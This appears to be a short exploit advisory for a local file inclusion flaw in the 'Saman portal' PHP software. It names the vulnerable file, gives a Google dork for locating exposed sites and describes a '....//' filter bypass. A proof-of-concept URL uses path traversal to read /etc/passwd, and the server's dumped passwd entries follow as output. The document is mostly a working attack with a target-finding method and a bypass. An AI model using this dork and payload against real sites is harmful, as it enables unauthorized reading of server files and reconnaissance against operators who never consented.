Saman Portal Local File Inclusion Vulnerability

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[+] Title: 			[Iranian] Saman portal LFI
[+] Date: 			2/28/12
[+] Author:			TMT
[+] Mail: 			taktaz_m2800[a.t]yahoo.com
[+] Type:			PHP
[+] Vendor or Software Link: 	http://www.sis-eg.com
[+] Customers: 			http://sis-eg.com/services/customers/
[+] Google dork: 		inurl:sismodule=user

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[~] desc:
Vuln in modules/sisRapid/pnuserapi.php on line 117

just "../" filtered to prevent LFI but "....//" will work


[~] poc:
http://www.site.com/index.php?module=cdk&func=loadmodule&system=cdk&sismodule=....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd


root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin 
daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin 
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync 
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt 
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin 
operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin 
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin 
nobody:x:99:99:Nobody:/:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin 
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin 
named:x:25:25:Named:/var/named:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin 
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin 
postfix:x:89:89::/var/spool/postfix:/sbin/nologin apache:x:498:500::/var/www:/bin/false 
diradmin:x:497:497::/usr/local/directadmin:/bin/false mysql:x:496:496:MySQL 
server:/var/lib/mysql:/bin/false webapps:x:500:501::/var/www/html:/bin/false 
majordomo:x:495:2::/etc/virtual/majordomo:/bin/false 
dovecot:x:494:494::/home/dovecot:/bin/false admin:x:501:502::/home/admin:/bin/bash